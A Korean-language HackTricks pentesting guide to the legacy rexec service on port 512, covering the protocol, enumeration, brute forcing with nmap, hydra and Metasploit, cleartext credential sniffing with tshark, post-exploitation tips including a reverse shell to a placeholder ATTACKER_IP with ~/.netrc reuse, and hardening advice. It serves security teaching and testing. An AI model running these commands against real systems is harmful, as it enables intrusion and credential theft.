512 - Pentesting Rexec

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

Rexec (์›๊ฒฉ exec)๋Š” ์›๋ž˜ Berkeley r-services ์Šค์œ„ํŠธ ์ค‘ ํ•˜๋‚˜์ž…๋‹ˆ๋‹ค ( rlogin, rsh ๋“ฑ๊ณผ ํ•จ๊ป˜). ์ด๋Š” ๋ช…ํ™•ํ•œ ํ…์ŠคํŠธ ์‚ฌ์šฉ์ž ์ด๋ฆ„๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ๋งŒ ์ธ์ฆ๋˜๋Š” ์›๊ฒฉ ๋ช…๋ น ์‹คํ–‰ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด ํ”„๋กœํ† ์ฝœ์€ 1980๋…„๋Œ€ ์ดˆ์— ์ •์˜๋˜์—ˆ์œผ๋ฉฐ (RFC 1060 ์ฐธ์กฐ) ํ˜„์žฌ๋Š” ์„ค๊ณ„์ƒ ์•ˆ์ „ํ•˜์ง€ ์•Š๋‹ค๊ณ  ๊ฐ„์ฃผ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  ์ผ๋ถ€ ๋ ˆ๊ฑฐ์‹œ UNIX / ๋„คํŠธ์›Œํฌ ์—ฐ๊ฒฐ ์žฅ๋น„์—์„œ ๊ธฐ๋ณธ์ ์œผ๋กœ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉฐ, ๋‚ด๋ถ€ pentest ์ค‘์— ๊ฐ€๋” ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค.

๊ธฐ๋ณธ ํฌํŠธ: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

๐Ÿ”ฅ ๋ชจ๋“  ํŠธ๋ž˜ํ”ฝ โ€“ ์ž๊ฒฉ ์ฆ๋ช…์„ ํฌํ•จํ•˜์—ฌ โ€“ ์•”ํ˜ธํ™”๋˜์ง€ ์•Š์€ ์ƒํƒœ๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค. ๋„คํŠธ์›Œํฌ๋ฅผ ์Šค๋‹ˆํ•‘ํ•  ์ˆ˜ ์žˆ๋Š” ๋ˆ„๊ตฌ๋‚˜ ์‚ฌ์šฉ์ž ์ด๋ฆ„, ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฐ ๋ช…๋ น์„ ๋ณต๊ตฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ”„๋กœํ† ์ฝœ ๊ฐ„๋‹จ ๊ฐœ์š”

  1. ํด๋ผ์ด์–ธํŠธ๊ฐ€ TCP 512์— ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค.
  2. ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์„ธ ๊ฐœ์˜ NUL-์ข…๋ฃŒ ๋ฌธ์ž์—ด์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค:
  • stdout/stderr๋ฅผ ์ˆ˜์‹ ํ•˜๊ณ ์ž ํ•˜๋Š” ํฌํŠธ ๋ฒˆํ˜ธ(ASCII๋กœ) (์ข…์ข… 0),
  • ์‚ฌ์šฉ์ž ์ด๋ฆ„,
  • ๋น„๋ฐ€๋ฒˆํ˜ธ.
  1. ์‹คํ–‰ํ•  ๋ช…๋ น์ด ํฌํ•จ๋œ ์ตœ์ข… NUL-์ข…๋ฃŒ ๋ฌธ์ž์—ด์ด ์ „์†ก๋ฉ๋‹ˆ๋‹ค.
  2. ์„œ๋ฒ„๋Š” ๋‹จ์ผ 8๋น„ํŠธ ์ƒํƒœ ๋ฐ”์ดํŠธ(0 = ์„ฑ๊ณต, 1 = ์‹คํŒจ)์™€ ๋ช…๋ น ์ถœ๋ ฅ์„ ๋’ค๋”ฐ๋ผ ์‘๋‹ตํ•ฉ๋‹ˆ๋‹ค.

์ฆ‰, echo -e์™€ nc๋งŒ์œผ๋กœ ๊ตํ™˜์„ ์žฌํ˜„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

์œ ํšจํ•œ ์ž๊ฒฉ ์ฆ๋ช…์ด๋ฉด ๋™์ผํ•œ ์—ฐ๊ฒฐ์—์„œ id์˜ ์ถœ๋ ฅ์„ ๋ฐ”๋กœ ๋ฐ›์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํด๋ผ์ด์–ธํŠธ๋ฅผ ์‚ฌ์šฉํ•œ ์ˆ˜๋™ ์‚ฌ์šฉ

๋งŽ์€ ๋ฆฌ๋ˆ…์Šค ๋ฐฐํฌํŒ์€ ์—ฌ์ „ํžˆ inetutils-rexec / rsh-client ํŒจํ‚ค์ง€ ๋‚ด์— ๋ ˆ๊ฑฐ์‹œ ํด๋ผ์ด์–ธํŠธ๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค:

rexec -l user -p password <target> "uname -a"

-p๊ฐ€ ์ƒ๋žต๋˜๋ฉด ํด๋ผ์ด์–ธํŠธ๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋Œ€ํ™”์‹์œผ๋กœ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค(์ „์†ก ์ค‘์— ํ‰๋ฌธ์œผ๋กœ ํ‘œ์‹œ๋จ!).


์—ด๊ฑฐ ๋ฐ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ

๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ

Nmap

nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

rexec-brute NSE๋Š” ์œ„์—์„œ ์„ค๋ช…ํ•œ ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ž๊ฒฉ ์ฆ๋ช…์„ ๋งค์šฐ ๋น ๋ฅด๊ฒŒ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.

Hydra / Medusa / Ncrack

hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra๋Š” ์ „์šฉ rexec ๋ชจ๋“ˆ์„ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฉฐ, ๊ฐ€์žฅ ๋น ๋ฅธ ์˜คํ”„๋ผ์ธ ๋ธŒ๋ฃจํŠธํฌ์„œ๋กœ ๋‚จ์•„ ์žˆ์Šต๋‹ˆ๋‹ค. medusa (-M REXEC)์™€ ncrack (rexec ๋ชจ๋“ˆ)๋„ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

๋ชจ๋“ˆ์€ ์„ฑ๊ณต ์‹œ ์…ธ์„ ์ƒ์„ฑํ•˜๊ณ  ์ž๊ฒฉ ์ฆ๋ช…์„ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.


์ž๊ฒฉ ์ฆ๋ช… ์Šค๋‹ˆํ•‘

๋ชจ๋“  ๊ฒƒ์ด ํ‰๋ฌธ์ด๊ธฐ ๋•Œ๋ฌธ์—, ๋„คํŠธ์›Œํฌ ์บก์ฒ˜๋Š” ๋งค์šฐ ๊ท€์ค‘ํ•ฉ๋‹ˆ๋‹ค. ํŠธ๋ž˜ํ”ฝ์˜ ๋ณต์‚ฌ๋ณธ์„ ์‚ฌ์šฉํ•˜๋ฉด ๋Œ€์ƒ์„ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๊ณ ๋„ ์ž๊ฒฉ ์ฆ๋ช…์„ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark์—์„œ Decode As โ€ฆโ€‹ TCP 512 โ†’ REXEC๋ฅผ ํ™œ์„ฑํ™”ํ•˜์—ฌ ์ž˜ ์ •๋ฆฌ๋œ ํ•„๋“œ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.)


ํฌ์ŠคํŠธ ์ต์Šคํ”Œ๋กœ์ž‡ ํŒ

  • ์ œ๊ณต๋œ ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋˜๋Š” ๋ช…๋ น์–ด์ž…๋‹ˆ๋‹ค. /etc/pam.d/rexec๊ฐ€ ์ž˜๋ชป ๊ตฌ์„ฑ๋œ ๊ฒฝ์šฐ(์˜ˆ: pam_rootok), ๋ฃจํŠธ ์‰˜์ด ๊ฐ€๋” ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Rexec๋Š” ์‚ฌ์šฉ์ž์˜ ์‰˜์„ ๋ฌด์‹œํ•˜๊ณ  /bin/sh -c <cmd>๋ฅผ ํ†ตํ•ด ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์—ฌ๋Ÿฌ ๋ช…๋ น์–ด๋ฅผ ์—ฐ๊ฒฐํ•˜๊ฑฐ๋‚˜ ๋ฆฌ๋ฒ„์Šค ์‰˜์„ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•ด ์ผ๋ฐ˜์ ์ธ ์‰˜ ์ด์Šค์ผ€์ดํ”„ ํŠธ๋ฆญ(;, $( ), ๋ฐฑํ‹ฑ)์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์ข…์ข… ๋‹ค๋ฅธ ์‹œ์Šคํ…œ์˜ ~/.netrc์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค; ํ•˜๋‚˜์˜ ํ˜ธ์ŠคํŠธ๋ฅผ ์†์ƒ์‹œํ‚ค๋ฉด ์ด๋ฅผ ์žฌ์‚ฌ์šฉํ•˜์—ฌ ์ธก๋ฉด ์ด๋™์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ฐ•ํ™” / ํƒ์ง€

  • rexec๋ฅผ ๋…ธ์ถœํ•˜์ง€ ๋งˆ์„ธ์š”; SSH๋กœ ๊ต์ฒดํ•˜์„ธ์š”. ์‚ฌ์‹ค์ƒ ๋ชจ๋“  ํ˜„๋Œ€ inetd ์Šˆํผ์„œ๋ฒ„๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ์ด ์„œ๋น„์Šค๋ฅผ ์ฃผ์„ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค.
  • ์œ ์ง€ํ•ด์•ผ ํ•œ๋‹ค๋ฉด, TCP ๋ž˜ํผ(/etc/hosts.allow) ๋˜๋Š” ๋ฐฉํ™”๋ฒฝ ๊ทœ์น™์œผ๋กœ ์ ‘๊ทผ์„ ์ œํ•œํ•˜๊ณ  ๊ฐ•๋ ฅํ•œ ๊ณ„์ •๋ณ„ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์‹œํ–‰ํ•˜์„ธ์š”.
  • :512๋กœ์˜ ํŠธ๋ž˜ํ”ฝ๊ณผ rexecd ํ”„๋กœ์„ธ์Šค ์‹œ์ž‘์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์„ธ์š”. ๋‹จ์ผ ํŒจํ‚ท ์บก์ฒ˜๋กœ๋„ ์†์ƒ์„ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • rexec, rlogin, rsh๋ฅผ ํ•จ๊ป˜ ๋น„ํ™œ์„ฑํ™”ํ•˜์„ธ์š” โ€“ ์ด๋“ค์€ ๋Œ€๋ถ€๋ถ„ ๋™์ผํ•œ ์ฝ”๋“œ๋ฒ ์ด์Šค์™€ ์ทจ์•ฝ์ ์„ ๊ณต์œ ํ•ฉ๋‹ˆ๋‹ค.

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ